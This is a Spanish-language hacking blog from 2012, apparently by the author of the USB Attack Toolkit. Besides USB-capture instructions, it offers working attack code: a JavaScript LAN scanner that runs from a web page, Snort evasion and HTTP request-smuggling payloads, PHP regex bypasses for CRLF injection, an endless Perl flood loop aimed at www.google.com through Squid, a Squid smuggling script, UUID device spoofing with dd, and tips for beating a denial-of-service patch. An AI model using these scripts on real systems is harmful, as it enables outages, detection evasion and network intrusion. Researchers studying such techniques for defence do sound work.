Los Caballeros

Conferencia UAT - USB Attack Toolkit - GuadalajaraCON

2012-05-21T12:28:00.001-05:00

La conferencia UAT (USB Attack Toolkit) en GuadalajaraCON por @Xianur0:

UAT - Report

2012-05-09T13:18:00.001-05:00

Me di cuenta de que en ningún lugar expliqué como utilizar la herramienta Report que integro en el kit UAT, por lo que escribo este post para explicar un poco ;)..

Para cargar un log es tan simple como arrastrarlo al campo correspondiente:

Podemos utilizar los filtros que nos genera de forma automática... también podemos trabajar con varios dispositivos al mismo tiempo :P

Tenemos algunas teclas (click en el campo y luego la tecla) que nos permitirán hacer las cosas más fácilmente. Por ejemplo la tecla "i", nos hace un analisis completo del contenido del campo... lo cual es muy útil para entender que es lo que hace una trama :P

Tenemos también las teclas "x" y "c" que nos permiten cambiar la forma en que se muestra el contenido de los campos, por ejemplo:

Tenemos herramientas raras pero útiles, como un editor hexadecimal hecho completamente en html5 y JS :D (tecla "e"):

Hay también herramientas (los iconos que aparecen arriba de los campos de texto) para analizar las tramas:

Clon hijo (trama repetida):

Clon Padre (Primera aparición de esta trama):

Borrar similares:

Borrar clones:

Listar similares y clones:

Sin clones o similares:

De momento son algunas de las cosas que nos permite hacer esta herramienta... pero agregaremos más cosas pronto :)

Saludos!

Cómo puedo colaborar con el proyecto UAT?

2012-04-25T17:23:00.002-05:00

Web del proyecto: http://loscaballeros.mx/UAT/

Cómo puedo colaborar con el proyecto UAT?

Es bastante simple, tenemos 3 modalidades para poder participar en el proyecto:

1. Escribiendo documentación.
A los desarrolladores nunca nos ha gustado escribir documentación, pero es una parte muy importante, por lo que necesitamos ayuda en esa parte (escribiendo papers y documentando las diferentes tools).

2. Enviando logs.
¿Por qué es importante tener un repositorio de logs (archivos uat)? Spoofear o analizar dispositivos sin tenerlo físicamente :D... es decir pueden colaborar capturando la comunicación de cualquier dispositivo usb que tengan a la mano, ¿Cómo se hace esto?

Necesitamos una computadora linux, tools.py (core) y usb-analyzer.py

El procedimiento es realmente simple:

Levantamos USBMon (USB-Analyzer captura el trafico de usbmon utilizando pypcap).

linux-7nli:/home/xianur0/arduinohack/UAT # modprobe usbmon
WARNING: All config files need .conf: /etc/modprobe.d/uisp_parport, it will be ignored in a future release.

Buscamos los valores del dispositivo a analizar:
linux-7nli:/home/xianur0/arduinohack/UAT # lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0c45:62c0 Microdia Sonix USB 2.0 Camera
Bus 005 Device 002: ID 0930:0200 Toshiba Corp.
Bus 005 Device 003: ID 08ff:1600 AuthenTec, Inc. AES1600

En mi caso capturaré el "AuthenTec, Inc. AES1600", en esta parte es recomendable descargar el driver de kernel en caso de que lo tengamos.

Ahora vemos la ayuda (esta parte obviamente es opcional xD).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py
Use: usb-analyzer.py [args]
--sk=[1|0] (Skip duplicate entries. Default: 0)
--skerror=[1|0] (Skip -ENOENT, Broken Pipe and response==null. Default: 0)
--bus=[bus number]
--vendor=[vendor id]
--device=[device id]
--file=[out-file]
--stop=[max resps. (numeric)]
--debug=[0-9]

Iniciamos con los argumentos y dejamos a la espera de que el dispositivo se identifique (necesitamos desconectar el dispositivo antes o no tener cargado el driver).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py --vendor=08ff --device=1600 --file=AuthenTec
[-] Checking USBMon...
1
2
3
4
5
6
0
[-] 7 buses

Waiting. Bus 0...

Ahora en este paso es conectar el dispositivo, cargar el driver o pasar el dispositivo a una maquina virtual (y capturar la comunicación de la virtual con el dispositivo ;)... esto es realmente útil en algunos casos :D)
Para terminar únicamente necesitamos presionar CTRL + C y luego: esperar que el dispositivo envíe un ultimo dato o desconectar el dispositivo. Con esto tenemos generado el archivo .uat :D... luego pueden enviármelo a mi correo y yo lo subo al sitio (agregando los respectivos créditos).

3. Desarrollando.
Es un poco complicado para un solo desarrollador mantener un proyecto tan grande como lo es UAT, por lo cual se necesita armar un equipo para mantener el desarrollo constante del proyecto :D.

Cualquier duda o comentario: xianur0.null[at]gmail.com (funciona como correo, gtalk y messenger xD).

Saludos!

Blogger Fail

2012-04-04T19:10:00.003-05:00

Este creo que es el "bug" más tonto que he visto en mi vida xD... en fin... se ve más o menos así:

Cuando configuramos nuestro bloggler con un dominio se tiene que crear un registro DNS:

;; ANSWER SECTION:
web.com. 10800 IN CNAME ghs.google.com.
ghs.google.com. 81359 IN CNAME ghs.l.google.com.
ghs.l.google.com. 280 IN A 74.125.128.121

Es decir configuramos un nombre canónico (CNAME) lo cual en términos más simples es como un apodo, una persona (un servidor) puede tener muchos apodos (puede manejar muchos dominios) aun teniendo un nombre, en este caso web.com lo estamos dando como un apodo a ghs.google.com (el cual sería el "nombre real" del servidor) lo cual quiere decir que cuando intente resolver web.com va a resolver ghs.google.com.

Ahora el detalle del "bug" (si le quieren llamar así, yo creo que es más un #EPICFAIL) es que blogger te pregunta si redirecciona la raíz del subdominio que configuramos (el cual puede existir o no :P)... al redireccionar la raíz el CNAME está intacto y la IP es la misma... pero blogger va a intentar cargar (por ejemplo en mi caso) xianur0.web.com en lugar del blog real (que no debería de existir, por lo que queda bloqueado el acceso al blog)... ahora algo interesante respecto a configuraciones DNS:
Existe algo llamado Wildcard DNS record, lo cual es poner un asterisco como subdominio, tipo: *.web.com, esto es todos los subdominios de web.com van a apuntar a un mismo registro DNS... por ejemplo si tenemos un wildcard con todos los subs apuntando al mismo lugar... podríamos "generar" subdominios falsos... de este modo con configurar nuestro blog con: xianur0.web.com y redireccionar la raíz blogger cargaría nuestro blog en lugar del real :P

¿Cómo detectar que una web es "vulnerable"?

Una forma realmente simple y tonta es:

xianur0@linux-7nli:~> dig CNAME web.com | grep ghs.google.com && echo Vulnerable!
web.com. 10800 IN CNAME ghs.google.com.
Vulnerable!
xianur0@linux-7nli:~> dig ANY web.com | grep "\*\." && echo "Muy Vulnerable"

;)...

PD: Este "bug" tiene como 3 años que se reporto... y aun anda ahí xD

Ahora pueden reír :D

UUID Hacking

2012-04-01T13:51:00.005-05:00

Está es una técnica un poco "extraña" de "hacking", la idea de este ataque se basa en atacar el funcionamiento de la pila USB para suplantar un dispositivo por medio de un UUID Reemplazado.

"Un Identificador universalmente único (universally unique identifier o UUID) es un identificador estándar usado en el desarrollo de software"

"Un UUID es un número de 16-byte (128-bit). El número teórico de posibles UUID es entonces de unos 3 × 10³⁸. En su forma canónica, un UUID consiste de 32 dígitos hexadecimales, mostrados en cinco grupos separados por guiones, de la forma 8-4-4-4-12 para un total de 36 caracteres (32 dígitos y 4 guiones). Por ejemplo:

550e8400-e29b-41d4-a716-446655440000"

Gracias amada wikipedia, no lo podría haber dicho mejor ;)

¿Cómo funciona el montado de devices en linux con UUID?

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 11:07 .
drwxr-xr-x 5 root root 100 abr 1 11:01 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 11:07 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2

Al hacer un ls a la lista de discos por uuid, notaremos que hacen un enlace simbólico al dispositivo, agregamos una memoria usb cualquiera:

lrwxrwxrwx 1 root root 10 abr 1 13:54 B4FE-5315 -> ../../sdb4

Notaremos que el uuid tiene un formato diferente (esta memoria fue formateada en FAT)

Formateamos desde linux en swap (en mi caso) y notaremos que el uuid cambia... entonces esto nos puede hacer pensar que el uuid se escribe directamente en los encabezados de la memoria usb y que no es algo fijo.

linux-7nli:/home/xianur0 # blkid | grep sdb
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="4850bce1-67ae-4c6c-97cf-54c2c5b9cb12" TYPE="swap"

dd:

linux-7nli:/home/xianur0 # dd if=/dev/sdb4 of=/home/xianur0/sdb4 ibs=2040 count=1
1+0 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00251428 s, 811 kB/s

Hex editor:

PD: El UUID está grabado dentro de los primeros 2040 bytes (normalmente).

Subimos los cambios (en esos 2040 bytes) al dispositivo (sobrescribimos):

linux-7nli:/home/xianur0 # dd if=sdb4-edited of=/dev/sdb4 conv=notrunc
3+1 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00582027 s, 350 kB/s
linux-7nli:/home/xianur0 # blkid
/dev/sda2: UUID="8c787ac4-88c4-4b85-9c07-7d88449c37e1" TYPE="reiserfs"
/dev/sda3: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="crypto_LUKS"
/dev/mapper/cr_sda3: UUID="471f4811-2b4d-421f-8883-2bd5f60b7877" TYPE="reiserfs"
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="swap"

Ahora la parte bonita:

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 14:51 .
drwxr-xr-x 5 root root 100 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 120 abr 1 14:51 .
drwxr-xr-x 6 root root 120 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sdb4
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
lrwxrwxrwx 1 root root 10 abr 1 14:51 B4FE-5315 -> ../../sdb1

Lo que pasó es que se remplazo el enlace simbólico original por el de la usb :P

También podemos hacer este procedimiento con UAT en un solo paso:

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-change.py --device=/dev/sdb4 --search=4850bce167ae4c6c97cf54c2c5b9cb12 --replace=58ac13711dd949969be4366f4758551c
Found in: 1037
Ok

Y tenemos los datos cambiados :P

Happy Hacks

Blind HTTP Attack (Firefox XMLHttpRequest SOP Hack)

2012-03-10T03:08:00.011-06:00

Algún tiempo atrás me comencé a preguntar sobre la implementación de XMLHTTPRequest en los diferentes browsers... llegué a algunas conclusiones un poco interesantes y se me ocurrió un "ataque" que se puede utilizar fácilmente para explotar muchas posibilidades. Vamos a ver un poco de esto:

Herramientas de trabajo:

Firebug.
Un editor de texto cualquiera.
Wireshark
Terminal xD

Es un poco curioso que el Firefox de OpenSUSE y el oficial no funcionen de la misma forma, por lo que lo dividiremos en 2:

Firefox (10.0.2 OpenSUSE):

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(err){alert(ip+": "+err);}
}
</script>
<body onload="head('192.168.0.254');head('192.168.0.1');"></body>

Mi modem es 192.168.0.1 y no existe 192.168.0.254 en mi red.

Obtenemos 2 errores:

192.168.0.254: [Exception... "Component returned failure code: 0x805e0006 [nsIXMLHttpRequest.open]" nsresult: "0x805e0006 ()" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 5" data: no]

Y:

192.168.0.1: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE)" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 6" data: no]

Cómo podrán darse cuenta son dos errores claramente diferentes (uno en nsIXMLHttpRequest.open y otro en nsIXMLHttpRequest.send) apuntando cada uno a una IP diferente... ¿Qué diferencia hay?

Apuntaremos a otro puerto y el resultado es exactamente el mismo.

Tomamos los valores retornados: 0x805e0006 y 0x80004005 y modificamos un poco el script:

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(er){if(er.result == 0x80004005) alert(ip+" existe");}
}
</script>
<body onload="head('74.125.128.103');head('74.125.128.101');head('74.125.128.102');head('74.125.128.103');head('74.125.128.138');head('74.125.128.139');head('192.168.0.100');head('192.168.0.1');head('192.168.0.100');head('192.168.0.106');head('192.168.0.105');"></body>

nsIXMLHttpRequest.open en algunos casos (como se puede ver en firebug) intenta realizar la conexión a la IP sin importar el SOP, esto obviamente no debería de ser algo bueno :)... pero aun hay algo...

En otras palabras no realiza las conexiones aunque la IP exista... por qué? me pregunto...

En efecto, solo hace consultas a lo que está en mi tabla arp....

Agregaré 192.168.0.103 (que no existe ni está en mi tabla ARP)... y realmente no realiza la conexión (ni da señales de intentarlo)...

Existe un tercer argumento en el metodo open del objeto XMLHttpRequest... el cual podemos definir como:

Variant that specifies true for asynchronous operation (the call returns immediately), or false for synchronous operation. If true, assign a callback handler to the onreadystatechange property to determine when the call has completed. If not specified, the default is true.

Comprobemos pero con otra versión de "exploit":

Vaya, que lindo :P...

<html>
<head><title>Analizando tu red - By Xianur0</title><style>
tr:hover {background-color: #333333}
a:hover {color: #FFFFFF; }
a:link { color:#CCCCCC; }
a:visited { color:#CCCCCC; }
a:active { color:#FFFFFF; }
tr {background-color: #222222}
font-family: arial, sans-serif;
background-repeat: repeat-x;
background-attachment: fixed;}
border-width: 1px 1px 1px 1px;
border-style: solid;}
</style>
<script>
 var xmlhttp = new Array();
 var id = 0;
 var stop=0;
 var targets=new Array("192.168.0.105","74.125.128.102","74.125.128.103","74.125.128.113","1.1.1.1","192.168.1.254","173.194.76.113","192.168.1.1","192.168.0.1","192.168.0.20","192.168.0.103","192.168.0.254","10.0.0.1","172.16.0.1");

 function mostrar(texto) {
   document.getElementById('result').innerHTML += texto+"\n<br /\>";
 }
 function alertar(val,id){
  setTimeout(function() {try{stop=1;xmlhttp[id].abort();}catch(e){};},5000);
 }
 function scann(target,puerto) {
  xmlhttp[id] = new XMLHttpRequest();
  alertar(target+":"+puerto,id);
  try {
   xmlhttp[id].open("HEAD", "http://"+target+":"+puerto+"/", true);
   xmlhttp[id].onreadystatechange = function () {
     state = '';
     try{
      state = xmlhttp[id].readyState;
     } catch(e){}
     if(state != 1 && stop == 0)
      mostrar("<font color='red'>"+target+":"+puerto+"-"+(state),"</font>\n<br /\>");
       };
   xmlhttp[id].send("");
  } catch(e) {
//   alert(e);
  }
  id+=1;
 }
</script>
</head>
<body onload="for(var i in targets) {scann(targets[i],80);};" alink="#FFFFFF" bgcolor="#000000" link="#CCCCCC" text="#FFFFFF" vlink="#CCCCCC">
<table id="main" align="center" bordercolor="#FFFFFF" cellpadding="15">
<tbody><tr>
<td id="head" width="600">
<center><br><br>
<b>Mapeando tu red:</b><br />
<div id="result">
</div>
</tbody></table><br><br>
</body>
</html>

Muy interesante hasta ahora... pero y el firefox oficial? (el que te bajas de la web tal y como es).... vamos a comprobar ;)...

Eso es el primer "exploit"... vamos a ver con el segundo...

(Nota, todo esto lo intenté desde esquema file:// y http:// entonces no es pretexto :P)

En fin... hay muchas cosas curiosas en XMLHttpRequest... ahora tengo una duda y pediré la ayuda de los usuarios... en otras distros el funcionamiento no es exactamente lo mismo, también afecta aparentemente el como está estructurada la red, por lo tanto este "ataque" es muy variado... y tal vez aun muy inexacto... por eso requiero testers.

Interesados, contactarme :P

xianur0.null [at] gmail.com

¿Qué más podemos hacer con esto?

Al poder enviar consultas "ciegas" aunque no podamos leer la respuesta podemos realizar algo en una página (sea cual sea) por lo que podemos realizar cualquier ataque... a ciegas :)...

Por eso: Blind HTTP Attack

Luego publicaré más de esos ataques a ciegas ;)...

Wallpapers UAT (USB Attack Toolkit)

2012-03-07T20:38:00.003-06:00

Les comparto los wallpapers de UAT diseñados por: Maria Del Castillo personalmente me gustaron mucho :D

PHP: Que no hacer con los regex

2012-02-06T14:58:00.006-06:00

El cómo maneja PHP los regex tiene sus detalles... por ejemplo, no es lo mismo:

if(preg_match("/^[\w\d]+$/",$_GET['xian'])){
[...]
}

Que:

if(!preg_match("/[^\w\d]/",$_GET['xian'])){
[...]
}

Por ejemplo:

GET /echo.php?xian=00a%0a

El primero hace match... pero el segundo no... ¿Por qué? el LF se toma cómo el fin de la linea ($) por el contrario en el segundo regex no se especifica ese carácter por lo que se abarca todo :D...

Por otro lado...

if(!preg_match("/[^\d\w\s]/",$_GET['xian'])){
[...]
}

if(preg_match("/^[\d\w\s]+$/",$_GET['xian'])){
[...]
}

Inyectando: /echo.php?xian=00a%0a0a%0axianur0%20was%20here

Ambos hacen match (tomen en cuenta que \s no es solo espacios ;) )...

Con esto podemos inyectar CRLF's entre otras cosas...

y hay mil y un bypass a esto ;)

Saludos!

Snort... recuento de hechos

2012-02-01T13:03:00.006-06:00

(Representación artística de un Snort)

Snort (Sus scrofa adorno) es una especie de mamífero (consumido por mamones) artiodáctilo de la familia Sourcefire (y primo de la Suidae). Es un animal doméstico usado en la alimentación humana. Algunas culturas lo consideran un animal sagrado debido a que creen que brinda protección contra la magia negra y la mala suerte (algunos inclusive le hacen sacrificios y altares con tal de que los proteja). A lo largo de la historia se encontraron estatuas de este animal adornando la entrada a diferentes templos.
Por otro lado algunas otras culturas lo consideran un mal augurio por lo que lo intentan evitar a toda costa.

Magia negra y su relación con snort en algunas culturas:
Hay una creencia común de que snort es un enviado del mal y que no hay forma de eliminar la mala suerte traída por este animal. Pero se han encontrados escritos antiguos donde describen cómo deshacerse de estas criaturas sin traer la mala suerte a ti y a todos tus descendientes (aunque algunos dicen que consumir snorts en exceso hace que se te ponga morada y se caiga por lo que preocuparse de la mala suerte a la descendencia no sería un tema de importancia).

El primer método es: tirarle sal al cerdo (antes de consumirlo se recomienda salarlo correctamente).

print $sock "\n\n\n\nGET /vuln HTTP/1.1\r\nHost: snort.org\r\n\r\n"; # agregar LF antes del request hace que snort no vea el resto, aunque no solo sirve \n también hay otros caracteres xD...

(No se enterara la deidad uri-content ;) ).

Segundo método: Que se distraiga y lo pateas por detrás (esta técnica es llama también: HTTP Request Smuggling y funciona mejor con una bota puntiaguda).
Este método no funciona con algunos snorts (que resultan ser un poco afeminados y no se distraen tan fácilmente) a menos que se le agregue sal (a la bota, pero no te la comas (la bota)).

my $request = "GET /vuln HTTP/1.1\r\nHost: snort.org\r\n";
print $sock "POST / HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: 0\r\n".
"Host: snort.org".("\r\n"x12).
"POST / HTTP/1.1\r\n".
"Host: snort.org\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: 30".("\r\n"x12).
"1234567890".$request;

Tercer método: Envenenarlo (Cómo no se me había ocurrido antes?).
Los snort son bastante estúpidos por naturaleza (igual que la gente que los cría) por lo que no notaran el cambio en su alimentación, ademas eliminar el problema de raíz no es una mala idea.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Blahz-DNS dostuff.php modify user attempt"; flow:to_server,established; content:"/dostuff.php?action=modify_user"; fast_pattern; nocase; http_uri; reference:bugtraq,4618; reference:cve,2002-0599; classtype:web-application-attack; sid:1742; rev:12;)

Veneno: /dostuff.php?fuck=you&action=modify_user
Veneno de dosis completa: /dostuff.php/?fuck=you&action=modify_user

Esos son algunos de los métodos mas recomendados para deshacerse de ese molesto animalejo.

Los caballeros en FreeSecurity

2012-01-28T00:41:00.004-06:00

De momento estamos confirmados dos de los miembros para dar conferencia en el evento de seguridad informática: Freesecurity.

http://freesecurity.mx/yacomas/aceptadas/

Los temas de conferencia serán:

USB Hacking
La seguridad física cómo un factor critico desde el ambiente domestico al empresarial. Se trataran temas de ingeniería inversa a dispositivos USB, fuzzing, 0days y muchos más...
Y el estreno de una nueva herramienta de pentesting: UAT (USB Attack Toolkit)

Seguridad en Sistemas Azules
Bluetooth es uno de esos protocolos que no se toman en cuenta cuando se realiza un pentesting, dentro de una empresa un dispositivo vulnerable puede ser fácilmente utilizado por un atacante para tomar control de información vital. Se mostraran técnicas utilizadas por atacantes así cómo métodos para mantenernos seguros de este tipo de ataques.

Ambas conferencias se mostraran desde el punto de vista de un atacante y del usuario.

Saludos!

Squid Proxy... yo no lo utilizaría

2012-01-22T14:19:00.003-06:00

Bienvenido al Restaurante de "Los Caballeros", el día de hoy tenemos un especial de calamar, esperamos que todos nuestros platillos sean de su agrado.

De entrada tenemos un platillo un poco pesado: Calamares bien rellenos a la "Los Caballeros" (platillo para DoS personas).

Este platillo es muy similar a FHTTP sobre una cama de Apache o IIS, es un poco fuerte al gusto, la diferencia es que en este caso tiene calamar y esta aderezado con un poco de Perl.

use IO::Socket::INET;
my $host = "www.google.com";
my $requests = 10;
my $payload = ("GET http://".$host."/ HTTP/1.1\nConnection: keep-alive\n\n")x($requests);
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 'http(80)',Proto => 'tcp');
die("Se quemo!") unless($sock);
print $sock $payload;
close($sock);
}

De platillo fuerte tenemos: Calamar del Infierno.
Tal y como su nombre lo indica es un calamar muy raro, bastante difícil de atrapar (seguramente a los pescadores les dio en verdadero dolor de cabeza), debido a que ha desarrollado grandes capacidades para ocultarse de diferentes formas en su habitad natural. Pero solo por hoy lo traemos para que usted lo deguste.

use IO::Socket;
use threads;
use threads::shared;
$squid = "localhost";
$squidport = "3128";
$path = "/index.php";
$host = "localhost";
$host =~ s/([^\t])/$1\t/g;
$pay = "\tGET\thttp://".$host.$path."?basura=\tHTTP/\rGET /echo.php\r\nGET nanananananananananananananananabatmanbatman HTTP/\rHost: squid-house\nCatch: me\rif\ryu\rcan\nConnection: keep-alive\n\n";
print "Sending...\n";
my $sock = new IO::Socket::INET(
  PeerAddr => $squid,
  PeerPort => $squidport,
  Proto => 'tcp',
  );
die "Se quemo! $!\n" unless $sock;
print $sock $pay;
while(<$sock>) {
  print $_;
}
close($sock);

De postre se le apetece un helado?

Gracias por su visita y vuelta pronto :)

Avatar de los caballeros (FHTTP)

2011-12-04T16:43:00.002-06:00

Agrego unos avatares si a alguien le interesa ;)...

256x256:

128x128:
Clic en la imagen para ver el original ;)...

Saludos!

Wiki FHTTP

2011-11-14T16:14:00.002-06:00

Se creo un wiki en el cual se agregara toda la documentación y papers de esta herramienta, también se utilizara para dar informes acerca de parches y actualizaciones.

Se necesitan redactores y traductores :P...

La url es: https://sourceforge.net/apps/mediawiki/fhttp/index.php?title=Main_Page

HTML5 (Canvas) + JS + Esteganografía + Cross-Domain

2011-10-15T19:03:00.008-05:00

Se me ocurrió en uno de esos #MomentosEureka xD

Entre las cosas que HTML5 integra se encuentra el elemento canvas el cual nos permite trabajar a "bajo nivel" con imágenes, entonces se me ocurrió si podemos leer los valores de los pixeles de las imágenes usando canvas y JS, y ademas tenemos que img no esta limitado por dominio por lo que se puede usar para cross-domain...

Entonces se me ocurrió cambiar pixeles de una imagen (o crear una imagen nueva) colocando char por char dentro del mensaje, podría colocar hasta 3 chars por pixel pero si la cosa es que no se note el mensaje o insertar en una imagen sin que esta se altere mucho entonces que sea 1 char por pixel ;)...

entonces tenemos que un pixel esta formado por 3 valores (RGB = Rojo, Verde, Azul) por lo que se pueden meter 3 valores pero por lo que explique arriba no tiene mucho caso :P

Entonces una forma divertida de hacerlo sin alterar tanto la imagen sería:
RGB = (Ascii del char, 0, ascii del char) el por que pase el verde a 0 mas que nada es para no confundir pixeles de la imagen con pixeles del mensaje, obviamente pueden haber otros pixeles de la imagen con esa configuración por lo que no sería mas problema que cambiar el verde de 0 a 1 (lo cual no es un tono que se pueda reconocer a simple vista :P).

<?php
/*
By Xianur0
http://hackingtelevision.blogspot.com
xianur0.null [at] gmail.com
*/
$file = "imagen.jpg"; /*El por que estoy insertando el mensaje dentro de una imagen existente en lugar de crear una? por que es divertido y menos sospechoso para muchas cosas xD. Ah recomiendo usar imágenes mas o menos grandes para que los pixeles editados no se noten mucho o para poder enviar mensajes mas grandes ;) */
$mensaje =  "xianur0 was here";
function dibujarpixel($im,$x,$y,$color) {
  $color = imagecolorallocate($im, $color[0],$color[1],$color[2]);
  imagefilledrectangle($im, $x, $y, $x, $y, $color);
}
list($ancho, $alto, $tipo, $atributos) = getimagesize($file);
$pixeles = $ancho*$alto;
if(strlen($mensaje) > $pixeles) die("Imagen demasiado pequeña (o mensaje demasiado grande)!");
$proporcion = intval(($pixeles/strlen($mensaje)));
$im = "";
preg_match("/(\w+)$/",$file,$match);
switch(strtolower($match[1])){
  case 'jpg':
      case 'jpeg':
      $im = imagecreatefromjpeg($file);
  break;
  case 'png':
      $im = imagecreatefrompng($file);
  break;
}
for($x=0;$x<$ancho;$x++){
  for($y=0;$y<$alto;$y++){
      $pixel = imagecolorat($im, $x, $y);
      $colors = imagecolorsforindex($im,$pixel);
      $r = $colors["red"];
      $g = $colors["green"];
      $b = $colors["blue"];
      if($r == $b && $g == 0) { // Si el pixel puede interferir lo cambiamos un poco :P
          dibujarpixel($im,$x,$y,array($r,1,$b));
      }
  }
}
$p = 0;
for ($i = 0; $i < strlen($mensaje); $i++) {
  $y = intval($p/$ancho);
  $x = intval($p-($y*$ancho));
  dibujarpixel($im,$x,$y,array(ord($mensaje{$i}), 0, ord($mensaje{$i}))); // cambiamos este pixel por (ascii del char, 0, ascii del char) = (r,g,b)
  $p += $proporcion;
}
header('Content-type: image/png');
imagepng($im); // Imprimimos esta imagen editada como png :P
imagedestroy($im);
?>

y ahora para leer dichos datos desde JS + Canvas:

<html>
<head>
<title>PoC Cross-Domain by Xianur0</title>
<script language="javascript">
function cargaContextoCanvas(idCanvas){
 var elemento = document.getElementById(idCanvas);
 if(elemento && elemento.getContext){
    var contexto = elemento.getContext('2d');
    if(contexto){
       return contexto;
    }
 }
 return FALSE;
}
window.onload = function(){
 var ctx = cargaContextoCanvas('micanvas');
 var cadena = "";
 if(ctx){
    var img = new Image();
    img.src = 'png.php';
    img.onload = function(){
      ctx.drawImage(img, 0, 0);
  var ele = document.getElementById('micanvas');
  var canvasData = ctx.getImageData(0, 0, ele.width, ele.height);
  for (var idx = 0; idx < (ele.width*ele.height)*4; idx+=4)  {
      var r = canvasData.data[idx + 0];
      var g = canvasData.data[idx + 1];
      var b = canvasData.data[idx + 2];
      var a = canvasData.data[idx + 3];
      if(r == b && g == 0)
        cadena += String.fromCharCode(b);
  }
  alert(cadena);
    }
 }
}

</script>
</head>
<body>
<canvas id="micanvas" width="900" height="900">
Tu navegador no soporta canvas.
</canvas>
<script>
</script>
</body>
</html>

Como verán es algo bastante simple, mientras el carácter que queramos enviar no pase de 255 (ascii) no debería de haber problema :P.

Como dije arriba esta forma se puede usar para estenografía o bien para pasar datos de un dominio a otro (el same origen policy da dolor de cabeza a muchos desarrolladores web por lo que esta sería una opción bastante viable en muchos casos :P).

Es una forma muy simplona pero solo es un PoC xD...

Saludos!

Breaking the patch - FHTTP

2011-09-01T17:28:00.003-05:00

Mi amigo NataShell publico un parche contra la FHTTP (que también se publico aquí en el blog), como se dijo al inicio es solo un parche temporal, ahora verán el por que :P

Parche: http://natashell.esdebian.org/47316/defendiendonos-fhttp

primero comenzamos con el primer detalle visible:

iptables -A INPUT -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT



se limita a 10 conexiones por segundo, por suerte solo necesitamos esa cantidad (o menos) para saturar un servidor ;)

LimitRequestBody 102400

Description: Restricts the total size of the HTTP request body sent from the client.

LimitRequestFields 50



Description:

Limits the number of HTTP request header fields that will be accepted from the client

LimitRequestFieldSize 8190

Description: Limits the size of the HTTP request header allowed from the client

LimitInternalRecursion 5

Description: Determine maximum number of internal redirects and nested subrequests.

LimitRequestLine 8190
Description: Limit the size of the HTTP request line that will be accepted from the client.

Bueno por suerte los únicos que verdaderamente nos afectan son:
LimitInternalRecursion y

LimitRequestBody.

Debido a los siguiente: el internalrecursion se puede entender como que solo nos va a dejar cargar (en este caso) 5 veces la misma pagina.

y LimitRequestBody nos pone un limite de cuantos bytes podemos enviar y por tanto de cuantos requests se pueden realizar.

Vamos a solucionarlo ;)

No voy a usar la FHTTP completa para esta solo la MN que colgué en seclists.
La razón: es mas ligera y mas fácil de editar para esta "explicación" xD.

si editamos un poco el request que se va a enviar de la siguiente forma:

$paquete .= join "",$method," /",$filepath," HTTP/1.1\nHost: ",$host,"\nAccept-Encoding: gzip,deflate\nIf-None-Match: ",$randsemilla,"\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\nConnection: Keep-Alive\n\n";

Estaríamos reduciendo el tamaño por request y haciendo básicamente el mismo daño, pero utilizando menos banda (mas request por conexión :P).

Ahora respecto a lo otro, tenemos que apache (aparentemente) procesa por URL, no exactamente por archivo, de modo que podríamos usar el {mn-fakeip} de la siguiente forma:

